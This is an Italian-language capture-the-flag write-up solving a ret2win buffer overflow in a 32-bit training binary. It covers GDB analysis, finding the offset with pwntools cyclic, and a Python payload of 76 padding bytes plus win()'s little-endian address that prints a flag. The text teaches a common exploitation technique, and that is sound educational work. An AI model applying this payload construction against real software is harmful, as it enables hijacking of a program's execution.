Soluzione

1. Analisi del file binario

Possiamo iniziare analizzando il binario utilizzando il comando file:

```
bash
Copy code
file ./buffer_overflow_easy
```

Output:

```
plaintext
Copy code
```

```
./buffer_overflow_easy: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=04cb01ad3d9923a3f09cc0e3b49ab01164430455, for GNU/Linux 3.2.0, not stripped
```

- Questo output ci indica che il binario è a 32-bit su architettura Intel 80386.
- Not stripped significa che contiene informazioni su funzioni e simboli, quindi sarà possibile vederne l'architettura in GDB.

2. Analisi preliminare del binario in GDB

Lanciando il binario con gdb:

```
bash
Copy code
gdb ./buffer_overflow_easy
```

Possiamo verificare l'esistenza della funzione win usando il comando: gdb

Copy code info functions

•

 Questo mostra che win() è presente e che, se raggiunta, visualizzerà la flag. Pertanto, l'obiettivo è far eseguire win() manipolando il flusso di esecuzione tramite buffer overflow, ottenendo un CTF di tipo ret2win.

Ret2win: un attacco **ret2win** consiste nel reindirizzare il flusso di esecuzione del programma direttamente a una funzione predefinita (in questo caso win()), utilizzando un buffer overflow per sovrascrivere l'indirizzo di ritorno della funzione vulnerabile.

3. Verifica della vulnerabilità

Usiamo un breakpoint nella funzione vuln() per analizzare l'input:

```
gdb
Copy code
b vuln
run
```

L'input viene gestito dalla funzione gets (), vulnerabile per **buffer overflow** poiché non verifica la lunghezza dell'input, permettendo di sovrascrivere l'indirizzo di ritorno.

4. Calcolo dell'offset

Per capire dove si trova l'indirizzo di ritorno da sovrascrivere, usiamo un **pattern unico** tramite **cyclic pattern** di pwntools:

Python

```
from pwn import cyclic
print(cyclic(100)) # Genera una sequenza di 100 byte per causare
segmentation fault
```

Eseguiamo questo pattern come input e osserviamo quando si verifica il segmentation fault:

```
gdb
run < <(python3 -c 'from pwn import cyclic; print(cyclic(100))')</pre>
```

O in alternativa inserire l'input generato dal comando cyclic 100.

Dopo il crash, possiamo verificare il contenuto del registro EIP:

```
gdb
info registers eip
```

Registro EIP: è un registro dell'architettura x86 che indica l'indirizzo della prossima istruzione da eseguire. Se sovrascriviamo EIP con l'indirizzo della funzione win, possiamo eseguire direttamente win().

Per trovare esattamente l'offset del pattern che causa la sovrascrittura di EIP:

python

```
from pwn import cyclic_find
offset = cyclic_find(0x61616174) # Inserisci l'indirizzo trovato in
EIP
print(offset) # Questo sarà l'offset richiesto
```

O in alternativa, da bash, usare il comando cyclic -l 0x61616174.

5. Recupero dell'indirizzo di win

L'indirizzo della funzione win() può essere trovato in GDB:

```
gdb
p win
```

Questo restituisce un indirizzo, ad esempio:

0x8049196

6. Costruzione del payload

Ora abbiamo tutto per l'exploit:

- Offset: posizione in cui avviene il buffer overflow (76).
- Indirizzo di win: indirizzo a cui vogliamo reindirizzare il flusso di esecuzione.

Costruiamo il payload in Python:

```
python
```

```
offset = 76
win_addr = 0x8049196

payload = b"A" * offset + win_addr.to_bytes(4, byteorder='little')
with open("exploit.txt", "wb") as f:
    f.write(payload)
```

- b"A" * offset crea un padding fino a raggiungere l'indirizzo di ritorno.
- win_addr.to_bytes(4, byteorder='little') converte l'indirizzo di win in formato little-endian, necessario per l'architettura x86.
- Salvando il payload in exploit.txt, possiamo utilizzarlo direttamente come input per il binario.

7. Esecuzione dell'exploit

Per testare il payload:

```
bash
gdb ./buffer_overflow_easy
run < exploit.txt</pre>
```

Se l'exploit è corretto, l'output dovrebbe mostrare:

```
Congratulazioni! Hai trovato la flag: FLAG{buffer_overflow_success}
```

CWE coinvolti

- **CWE-120**: Buffer Copy senza adeguati controlli di limite.
- **CWE-121**: Scrittura di buffer oltre i limiti.